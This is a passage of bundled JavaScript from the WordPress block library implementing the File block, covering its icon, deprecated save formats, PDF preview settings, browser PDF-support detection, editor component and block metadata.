16267var file_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16268 external_wp_primitives_namespaceObject.Path,
16269 {
16270 fillRule: "evenodd",
16271 clipRule: "evenodd",
16272 d: "M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z"
16273 }
16274) });
16275
16276
16277;// ./node_modules/@wordpress/block-library/build-module/file/deprecated.js
16278
16279
16280
16281
16282const deprecated_v3 = {
16283 attributes: {
16284 id: {
16285 type: "number"
16286 },
16287 href: {
16288 type: "string"
16289 },
16290 fileId: {
16291 type: "string",
16292 source: "attribute",
16293 selector: "a:not([download])",
16294 attribute: "id"
16295 },
16296 fileName: {
16297 type: "string",
16298 source: "html",
16299 selector: "a:not([download])"
16300 },
16301 textLinkHref: {
16302 type: "string",
16303 source: "attribute",
16304 selector: "a:not([download])",
16305 attribute: "href"
16306 },
16307 textLinkTarget: {
16308 type: "string",
16309 source: "attribute",
16310 selector: "a:not([download])",
16311 attribute: "target"
16312 },
16313 showDownloadButton: {
16314 type: "boolean",
16315 default: true
16316 },
16317 downloadButtonText: {
16318 type: "string",
16319 source: "html",
16320 selector: "a[download]"
16321 },
16322 displayPreview: {
16323 type: "boolean"
16324 },
16325 previewHeight: {
16326 type: "number",
16327 default: 600
16328 }
16329 },
16330 supports: {
16331 anchor: true,
16332 align: true
16333 },
16334 save({ attributes }) {
16335 const {
16336 href,
16337 fileId,
16338 fileName,
16339 textLinkHref,
16340 textLinkTarget,
16341 showDownloadButton,
16342 downloadButtonText,
16343 displayPreview,
16344 previewHeight
16345 } = attributes;
16346 const pdfEmbedLabel = external_wp_blockEditor_namespaceObject.RichText.isEmpty(fileName) ? (0,external_wp_i18n_namespaceObject.__)("PDF embed") : (0,external_wp_i18n_namespaceObject.sprintf)(
16347 /* translators: %s: filename. */
16348 (0,external_wp_i18n_namespaceObject.__)("Embed of %s."),
16349 fileName
16350 );
16351 const hasFilename = !external_wp_blockEditor_namespaceObject.RichText.isEmpty(fileName);
16352 const describedById = hasFilename ? fileId : void 0;
16353 return href && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: [
16354 displayPreview && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16355 "object",
16356 {
16357 className: "wp-block-file__embed",
16358 data: href,
16359 type: "application/pdf",
16360 style: {
16361 width: "100%",
16362 height: `${previewHeight}px`
16363 },
16364 "aria-label": pdfEmbedLabel
16365 }
16366 ) }),
16367 hasFilename && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16368 "a",
16369 {
16370 id: describedById,
16371 href: textLinkHref,
16372 target: textLinkTarget,
16373 rel: textLinkTarget ? "noreferrer noopener" : void 0,
16374 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: fileName })
16375 }
16376 ),
16377 showDownloadButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16378 "a",
16379 {
16380 href,
16381 className: dist_clsx(
16382 "wp-block-file__button",
16383 (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)("button")
16384 ),
16385 download: true,
16386 "aria-describedby": describedById,
16387 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: downloadButtonText })
16388 }
16389 )
16390 ] });
16391 }
16392};
16393const file_deprecated_v2 = {
16394 attributes: {
16395 id: {
16396 type: "number"
16397 },
16398 href: {
16399 type: "string"
16400 },
16401 fileId: {
16402 type: "string",
16403 source: "attribute",
16404 selector: "a:not([download])",
16405 attribute: "id"
16406 },
16407 fileName: {
16408 type: "string",
16409 source: "html",
16410 selector: "a:not([download])"
16411 },
16412 textLinkHref: {
16413 type: "string",
16414 source: "attribute",
16415 selector: "a:not([download])",
16416 attribute: "href"
16417 },
16418 textLinkTarget: {
16419 type: "string",
16420 source: "attribute",
16421 selector: "a:not([download])",
16422 attribute: "target"
16423 },
16424 showDownloadButton: {
16425 type: "boolean",
16426 default: true
16427 },
16428 downloadButtonText: {
16429 type: "string",
16430 source: "html",
16431 selector: "a[download]"
16432 },
16433 displayPreview: {
16434 type: "boolean"
16435 },
16436 previewHeight: {
16437 type: "number",
16438 default: 600
16439 }
16440 },
16441 supports: {
16442 anchor: true,
16443 align: true
16444 },
16445 save({ attributes }) {
16446 const {
16447 href,
16448 fileId,
16449 fileName,
16450 textLinkHref,
16451 textLinkTarget,
16452 showDownloadButton,
16453 downloadButtonText,
16454 displayPreview,
16455 previewHeight
16456 } = attributes;
16457 const pdfEmbedLabel = external_wp_blockEditor_namespaceObject.RichText.isEmpty(fileName) ? (0,external_wp_i18n_namespaceObject.__)("PDF embed") : (0,external_wp_i18n_namespaceObject.sprintf)(
16458 /* translators: %s: filename. */
16459 (0,external_wp_i18n_namespaceObject.__)("Embed of %s."),
16460 fileName
16461 );
16462 const hasFilename = !external_wp_blockEditor_namespaceObject.RichText.isEmpty(fileName);
16463 const describedById = hasFilename ? fileId : void 0;
16464 return href && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: [
16465 displayPreview && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16466 "object",
16467 {
16468 className: "wp-block-file__embed",
16469 data: href,
16470 type: "application/pdf",
16471 style: {
16472 width: "100%",
16473 height: `${previewHeight}px`
16474 },
16475 "aria-label": pdfEmbedLabel
16476 }
16477 ) }),
16478 hasFilename && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16479 "a",
16480 {
16481 id: describedById,
16482 href: textLinkHref,
16483 target: textLinkTarget,
16484 rel: textLinkTarget ? "noreferrer noopener" : void 0,
16485 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: fileName })
16486 }
16487 ),
16488 showDownloadButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16489 "a",
16490 {
16491 href,
16492 className: "wp-block-file__button",
16493 download: true,
16494 "aria-describedby": describedById,
16495 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: downloadButtonText })
16496 }
16497 )
16498 ] });
16499 }
16500};
16501const file_deprecated_v1 = {
16502 attributes: {
16503 id: {
16504 type: "number"
16505 },
16506 href: {
16507 type: "string"
16508 },
16509 fileName: {
16510 type: "string",
16511 source: "html",
16512 selector: "a:not([download])"
16513 },
16514 textLinkHref: {
16515 type: "string",
16516 source: "attribute",
16517 selector: "a:not([download])",
16518 attribute: "href"
16519 },
16520 textLinkTarget: {
16521 type: "string",
16522 source: "attribute",
16523 selector: "a:not([download])",
16524 attribute: "target"
16525 },
16526 showDownloadButton: {
16527 type: "boolean",
16528 default: true
16529 },
16530 downloadButtonText: {
16531 type: "string",
16532 source: "html",
16533 selector: "a[download]"
16534 },
16535 displayPreview: {
16536 type: "boolean"
16537 },
16538 previewHeight: {
16539 type: "number",
16540 default: 600
16541 }
16542 },
16543 supports: {
16544 anchor: true,
16545 align: true
16546 },
16547 save({ attributes }) {
16548 const {
16549 href,
16550 fileName,
16551 textLinkHref,
16552 textLinkTarget,
16553 showDownloadButton,
16554 downloadButtonText,
16555 displayPreview,
16556 previewHeight
16557 } = attributes;
16558 const pdfEmbedLabel = external_wp_blockEditor_namespaceObject.RichText.isEmpty(fileName) ? (0,external_wp_i18n_namespaceObject.__)("PDF embed") : (0,external_wp_i18n_namespaceObject.sprintf)(
16559 /* translators: %s: filename. */
16560 (0,external_wp_i18n_namespaceObject.__)("Embed of %s."),
16561 fileName
16562 );
16563 return href && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: [
16564 displayPreview && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16565 "object",
16566 {
16567 className: "wp-block-file__embed",
16568 data: href,
16569 type: "application/pdf",
16570 style: {
16571 width: "100%",
16572 height: `${previewHeight}px`
16573 },
16574 "aria-label": pdfEmbedLabel
16575 }
16576 ) }),
16577 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(fileName) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16578 "a",
16579 {
16580 href: textLinkHref,
16581 target: textLinkTarget,
16582 rel: textLinkTarget ? "noreferrer noopener" : void 0,
16583 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: fileName })
16584 }
16585 ),
16586 showDownloadButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16587 "a",
16588 {
16589 href,
16590 className: "wp-block-file__button",
16591 download: true,
16592 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: downloadButtonText })
16593 }
16594 )
16595 ] });
16596 }
16597};
16598const file_deprecated_deprecated = [deprecated_v3, file_deprecated_v2, file_deprecated_v1];
16599var file_deprecated_deprecated_default = file_deprecated_deprecated;
16600
16601
16602;// ./node_modules/@wordpress/block-library/build-module/file/inspector.js
16603
16604
16605
16606
16607
16608
16609function FileBlockInspector({
16610 hrefs,
16611 openInNewWindow,
16612 showDownloadButton,
16613 changeLinkDestinationOption,
16614 changeOpenInNewWindow,
16615 changeShowDownloadButton,
16616 displayPreview,
16617 changeDisplayPreview,
16618 previewHeight,
16619 changePreviewHeight
16620}) {
16621 const { href, textLinkHref, attachmentPage } = hrefs;
16622 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
16623 let linkDestinationOptions = [{ value: href, label: (0,external_wp_i18n_namespaceObject.__)("URL") }];
16624 if (attachmentPage) {
16625 linkDestinationOptions = [
16626 { value: href, label: (0,external_wp_i18n_namespaceObject.__)("Media file") },
16627 { value: attachmentPage, label: (0,external_wp_i18n_namespaceObject.__)("Attachment page") }
16628 ];
16629 }
16630 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: [
16631 href.endsWith(".pdf") && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
16632 external_wp_components_namespaceObject.__experimentalToolsPanel,
16633 {
16634 label: (0,external_wp_i18n_namespaceObject.__)("PDF settings"),
16635 resetAll: () => {
16636 changeDisplayPreview(true);
16637 changePreviewHeight(600);
16638 },
16639 dropdownMenuProps,
16640 children: [
16641 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16642 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
16643 {
16644 label: (0,external_wp_i18n_namespaceObject.__)("Show inline embed"),
16645 isShownByDefault: true,
16646 hasValue: () => !displayPreview,
16647 onDeselect: () => changeDisplayPreview(true),
16648 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16649 external_wp_components_namespaceObject.ToggleControl,
16650 {
16651 __nextHasNoMarginBottom: true,
16652 label: (0,external_wp_i18n_namespaceObject.__)("Show inline embed"),
16653 help: displayPreview ? (0,external_wp_i18n_namespaceObject.__)(
16654 "Note: Most phone and tablet browsers won't display embedded PDFs."
16655 ) : null,
16656 checked: !!displayPreview,
16657 onChange: changeDisplayPreview
16658 }
16659 )
16660 }
16661 ),
16662 displayPreview && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16663 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
16664 {
16665 label: (0,external_wp_i18n_namespaceObject.__)("Height in pixels"),
16666 isShownByDefault: true,
16667 hasValue: () => previewHeight !== 600,
16668 onDeselect: () => changePreviewHeight(600),
16669 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16670 external_wp_components_namespaceObject.RangeControl,
16671 {
16672 __nextHasNoMarginBottom: true,
16673 __next40pxDefaultSize: true,
16674 label: (0,external_wp_i18n_namespaceObject.__)("Height in pixels"),
16675 min: MIN_PREVIEW_HEIGHT,
16676 max: Math.max(
16677 MAX_PREVIEW_HEIGHT,
16678 previewHeight
16679 ),
16680 value: previewHeight,
16681 onChange: changePreviewHeight
16682 }
16683 )
16684 }
16685 )
16686 ]
16687 }
16688 ),
16689 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
16690 external_wp_components_namespaceObject.__experimentalToolsPanel,
16691 {
16692 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
16693 resetAll: () => {
16694 changeLinkDestinationOption(href);
16695 changeOpenInNewWindow(false);
16696 changeShowDownloadButton(true);
16697 },
16698 dropdownMenuProps,
16699 children: [
16700 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16701 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
16702 {
16703 label: (0,external_wp_i18n_namespaceObject.__)("Link to"),
16704 isShownByDefault: true,
16705 hasValue: () => textLinkHref !== href,
16706 onDeselect: () => changeLinkDestinationOption(href),
16707 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16708 external_wp_components_namespaceObject.SelectControl,
16709 {
16710 __next40pxDefaultSize: true,
16711 __nextHasNoMarginBottom: true,
16712 label: (0,external_wp_i18n_namespaceObject.__)("Link to"),
16713 value: textLinkHref,
16714 options: linkDestinationOptions,
16715 onChange: changeLinkDestinationOption
16716 }
16717 )
16718 }
16719 ),
16720 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16721 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
16722 {
16723 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
16724 isShownByDefault: true,
16725 hasValue: () => !!openInNewWindow,
16726 onDeselect: () => changeOpenInNewWindow(false),
16727 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16728 external_wp_components_namespaceObject.ToggleControl,
16729 {
16730 __nextHasNoMarginBottom: true,
16731 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
16732 checked: openInNewWindow,
16733 onChange: changeOpenInNewWindow
16734 }
16735 )
16736 }
16737 ),
16738 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16739 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
16740 {
16741 label: (0,external_wp_i18n_namespaceObject.__)("Show download button"),
16742 isShownByDefault: true,
16743 hasValue: () => !showDownloadButton,
16744 onDeselect: () => changeShowDownloadButton(true),
16745 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16746 external_wp_components_namespaceObject.ToggleControl,
16747 {
16748 __nextHasNoMarginBottom: true,
16749 label: (0,external_wp_i18n_namespaceObject.__)("Show download button"),
16750 checked: showDownloadButton,
16751 onChange: changeShowDownloadButton
16752 }
16753 )
16754 }
16755 )
16756 ]
16757 }
16758 )
16759 ] }) });
16760}
16761
16762
16763;// ./node_modules/@wordpress/block-library/build-module/file/utils/index.js
16764const browserSupportsPdfs = () => {
16765 if (window.navigator.pdfViewerEnabled) {
16766 return true;
16767 }
16768 if (window.navigator.userAgent.indexOf("Mobi") > -1) {
16769 return false;
16770 }
16771 if (window.navigator.userAgent.indexOf("Android") > -1) {
16772 return false;
16773 }
16774 if (window.navigator.userAgent.indexOf("Macintosh") > -1 && window.navigator.maxTouchPoints && window.navigator.maxTouchPoints > 2) {
16775 return false;
16776 }
16777 if (!!(window.ActiveXObject || "ActiveXObject" in window) && !(createActiveXObject("AcroPDF.PDF") || createActiveXObject("PDF.PdfCtrl"))) {
16778 return false;
16779 }
16780 return true;
16781};
16782const createActiveXObject = (type) => {
16783 let ax;
16784 try {
16785 ax = new window.ActiveXObject(type);
16786 } catch (e) {
16787 ax = void 0;
16788 }
16789 return ax;
16790};
16791
16792
16793;// ./node_modules/@wordpress/block-library/build-module/file/edit.js
16794
16795
16796
16797
16798
16799
16800
16801
16802
16803
16804
16805
16806
16807
16808
16809
16810
16811const MIN_PREVIEW_HEIGHT = 200;
16812const MAX_PREVIEW_HEIGHT = 2e3;
16813function ClipboardToolbarButton({ text, disabled }) {
16814 const { createNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
16815 const ref = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(text, () => {
16816 createNotice("info", (0,external_wp_i18n_namespaceObject.__)("Copied URL to clipboard."), {
16817 isDismissible: true,
16818 type: "snackbar"
16819 });
16820 });
16821 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16822 external_wp_components_namespaceObject.ToolbarButton,
16823 {
16824 className: "components-clipboard-toolbar-button",
16825 ref,
16826 disabled,
16827 children: (0,external_wp_i18n_namespaceObject.__)("Copy URL")
16828 }
16829 );
16830}
16831function FileEdit({ attributes, isSelected, setAttributes, clientId }) {
16832 const {
16833 id,
16834 fileName,
16835 href,
16836 textLinkHref,
16837 textLinkTarget,
16838 showDownloadButton,
16839 downloadButtonText,
16840 displayPreview,
16841 previewHeight
16842 } = attributes;
16843 const [temporaryURL, setTemporaryURL] = (0,external_wp_element_namespaceObject.useState)(attributes.blob);
16844 const { media } = (0,external_wp_data_namespaceObject.useSelect)(
16845 (select) => ({
16846 media: id === void 0 ? void 0 : select(external_wp_coreData_namespaceObject.store).getEntityRecord(
16847 "postType",
16848 "attachment",
16849 id
16850 )
16851 }),
16852 [id]
16853 );
16854 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
16855 const { toggleSelection, __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
16856 useUploadMediaFromBlobURL({
16857 url: temporaryURL,
16858 onChange: onSelectFile,
16859 onError: onUploadError
16860 });
16861 (0,external_wp_element_namespaceObject.useEffect)(() => {
16862 if (external_wp_blockEditor_namespaceObject.RichText.isEmpty(downloadButtonText)) {
16863 __unstableMarkNextChangeAsNotPersistent();
16864 setAttributes({
16865 downloadButtonText: (0,external_wp_i18n_namespaceObject._x)("Download", "button label")
16866 });
16867 }
16868 }, []);
16869 function onSelectFile(newMedia) {
16870 if (!newMedia || !newMedia.url) {
16871 setAttributes({
16872 href: void 0,
16873 fileName: void 0,
16874 textLinkHref: void 0,
16875 id: void 0,
16876 fileId: void 0,
16877 displayPreview: void 0,
16878 previewHeight: void 0
16879 });
16880 setTemporaryURL();
16881 return;
16882 }
16883 if ((0,external_wp_blob_namespaceObject.isBlobURL)(newMedia.url)) {
16884 setTemporaryURL(newMedia.url);
16885 return;
16886 }
16887 const isPdf = (
16888 // Media Library and REST API use different properties for mime type.
16889 (newMedia.mime || newMedia.mime_type) === "application/pdf" || (0,external_wp_url_namespaceObject.getFilename)(newMedia.url).toLowerCase().endsWith(".pdf")
16890 );
16891 const pdfAttributes = {
16892 displayPreview: isPdf ? attributes.displayPreview ?? true : void 0,
16893 previewHeight: isPdf ? attributes.previewHeight ?? 600 : void 0
16894 };
16895 setAttributes({
16896 href: newMedia.url,
16897 fileName: newMedia.title,
16898 textLinkHref: newMedia.url,
16899 id: newMedia.id,
16900 fileId: `wp-block-file--media-${clientId}`,
16901 blob: void 0,
16902 ...pdfAttributes
16903 });
16904 setTemporaryURL();
16905 }
16906 function onUploadError(message) {
16907 setAttributes({ href: void 0 });
16908 createErrorNotice(message, { type: "snackbar" });
16909 }
16910 function changeLinkDestinationOption(newHref) {
16911 setAttributes({ textLinkHref: newHref });
16912 }
16913 function changeOpenInNewWindow(newValue) {
16914 setAttributes({
16915 textLinkTarget: newValue ? "_blank" : false
16916 });
16917 }
16918 function changeShowDownloadButton(newValue) {
16919 setAttributes({ showDownloadButton: newValue });
16920 }
16921 function changeDisplayPreview(newValue) {
16922 setAttributes({ displayPreview: newValue });
16923 }
16924 function handleOnResizeStop(event, direction, elt, delta) {
16925 toggleSelection(true);
16926 const newHeight = parseInt(previewHeight + delta.height, 10);
16927 setAttributes({ previewHeight: newHeight });
16928 }
16929 function changePreviewHeight(newValue) {
16930 const newHeight = Math.max(
16931 parseInt(newValue, 10),
16932 MIN_PREVIEW_HEIGHT
16933 );
16934 setAttributes({ previewHeight: newHeight });
16935 }
16936 const attachmentPage = media && media.link;
16937 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
16938 className: dist_clsx(
16939 !!temporaryURL && (0,external_wp_components_namespaceObject.__unstableGetAnimateClassName)({ type: "loading" }),
16940 {
16941 "is-transient": !!temporaryURL
16942 }
16943 )
16944 });
16945 const displayPreviewInEditor = browserSupportsPdfs() && displayPreview;
16946 if (!href && !temporaryURL) {
16947 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16948 external_wp_blockEditor_namespaceObject.MediaPlaceholder,
16949 {
16950 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: file_default }),
16951 labels: {
16952 title: (0,external_wp_i18n_namespaceObject.__)("File"),
16953 instructions: (0,external_wp_i18n_namespaceObject.__)(
16954 "Drag and drop a file, upload, or choose from your library."
16955 )
16956 },
16957 onSelect: onSelectFile,
16958 onError: onUploadError,
16959 accept: "*"
16960 }
16961 ) });
16962 }
16963 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
16964 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16965 FileBlockInspector,
16966 {
16967 hrefs: {
16968 href: href || temporaryURL,
16969 textLinkHref,
16970 attachmentPage
16971 },
16972 ...{
16973 openInNewWindow: !!textLinkTarget,
16974 showDownloadButton,
16975 changeLinkDestinationOption,
16976 changeOpenInNewWindow,
16977 changeShowDownloadButton,
16978 displayPreview,
16979 changeDisplayPreview,
16980 previewHeight,
16981 changePreviewHeight
16982 }
16983 }
16984 ),
16985 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: [
16986 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16987 external_wp_blockEditor_namespaceObject.MediaReplaceFlow,
16988 {
16989 mediaId: id,
16990 mediaURL: href,
16991 accept: "*",
16992 onSelect: onSelectFile,
16993 onError: onUploadError,
16994 onReset: () => onSelectFile(void 0)
16995 }
16996 ),
16997 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16998 ClipboardToolbarButton,
16999 {
17000 text: href,
17001 disabled: (0,external_wp_blob_namespaceObject.isBlobURL)(href)
17002 }
17003 )
17004 ] }),
17005 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
17006 displayPreviewInEditor && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
17007 external_wp_components_namespaceObject.ResizableBox,
17008 {
17009 size: { height: previewHeight, width: "100%" },
17010 minHeight: MIN_PREVIEW_HEIGHT,
17011 maxHeight: MAX_PREVIEW_HEIGHT,
17012 grid: [1, 10],
17013 enable: {
17014 top: false,
17015 right: false,
17016 bottom: true,
17017 left: false,
17018 topRight: false,
17019 bottomRight: false,
17020 bottomLeft: false,
17021 topLeft: false
17022 },
17023 onResizeStart: () => toggleSelection(false),
17024 onResizeStop: handleOnResizeStop,
17025 showHandle: isSelected,
17026 children: [
17027 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17028 "object",
17029 {
17030 className: "wp-block-file__preview",
17031 data: href,
17032 type: "application/pdf",
17033 "aria-label": (0,external_wp_i18n_namespaceObject.__)(
17034 "Embed of the selected PDF file."
17035 )
17036 }
17037 ),
17038 !isSelected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-file__preview-overlay" })
17039 ]
17040 }
17041 ),
17042 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-file__content-wrapper", children: [
17043 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17044 external_wp_blockEditor_namespaceObject.RichText,
17045 {
17046 identifier: "fileName",
17047 tagName: "a",
17048 value: fileName,
17049 placeholder: (0,external_wp_i18n_namespaceObject.__)("Write file name\u2026"),
17050 withoutInteractiveFormatting: true,
17051 onChange: (text) => setAttributes({
17052 fileName: removeAnchorTag(text)
17053 }),
17054 href: textLinkHref
17055 }
17056 ),
17057 showDownloadButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-file__button-richtext-wrapper", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17058 external_wp_blockEditor_namespaceObject.RichText,
17059 {
17060 identifier: "downloadButtonText",
17061 tagName: "div",
17062 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Download button text"),
17063 className: dist_clsx(
17064 "wp-block-file__button",
17065 (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)(
17066 "button"
17067 )
17068 ),
17069 value: downloadButtonText,
17070 withoutInteractiveFormatting: true,
17071 placeholder: (0,external_wp_i18n_namespaceObject.__)("Add text\u2026"),
17072 onChange: (text) => setAttributes({
17073 downloadButtonText: removeAnchorTag(text)
17074 })
17075 }
17076 ) })
17077 ] })
17078 ] })
17079 ] });
17080}
17081var file_edit_edit_default = FileEdit;
17082
17083
17084;// ./node_modules/@wordpress/block-library/build-module/file/block.json
17085const file_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/file","title":"File","category":"media","description":"Add a link to a downloadable file.","keywords":["document","pdf","download"],"textdomain":"default","attributes":{"id":{"type":"number"},"blob":{"type":"string","role":"local"},"href":{"type":"string","role":"content"},"fileId":{"type":"string","source":"attribute","selector":"a:not([download])","attribute":"id"},"fileName":{"type":"rich-text","source":"rich-text","selector":"a:not([download])","role":"content"},"textLinkHref":{"type":"string","source":"attribute","selector":"a:not([download])","attribute":"href","role":"content"},"textLinkTarget":{"type":"string","source":"attribute","selector":"a:not([download])","attribute":"target"},"showDownloadButton":{"type":"boolean","default":true},"downloadButtonText":{"type":"rich-text","source":"rich-text","selector":"a[download]","role":"content"},"displayPreview":{"type":"boolean"},"previewHeight":{"type":"number","default":600}},"supports":{"anchor":true,"align":true,"spacing":{"margin":true,"padding":true},"color":{"gradients":true,"link":true,"text":false,"__experimentalDefaultControls":{"background":true,"link":true}},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}},"interactivity":true},"editorStyle":"wp-block-file-editor","style":"wp-block-file"}');
17086;// ./node_modules/@wordpress/block-library/build-module/file/save.js
17087
17088
17089
17090function file_save_save({ attributes }) {
17091 const {
17092 href,
17093 fileId,
17094 fileName,
17095 textLinkHref,
17096 textLinkTarget,
17097 showDownloadButton,
17098 downloadButtonText,
17099 displayPreview,
17100 previewHeight
17101 } = attributes;
17102 const pdfEmbedLabel = external_wp_blockEditor_namespaceObject.RichText.isEmpty(fileName) ? "PDF embed" : (
17103 // To do: use toPlainText, but we need ensure it's RichTextData. See
17104 // https://github.com/WordPress/gutenberg/pull/56710.
17105 fileName.toString()
17106 );
17107 const hasFilename = !external_wp_blockEditor_namespaceObject.RichText.isEmpty(fileName);
17108 const describedById = hasFilename ? fileId : void 0;
17109 return href && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: [
17110 displayPreview && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17111 "object",
17112 {
17113 className: "wp-block-file__embed",
17114 data: href,
17115 type: "application/pdf",
17116 style: {
17117 width: "100%",
17118 height: `${previewHeight}px`
17119 },
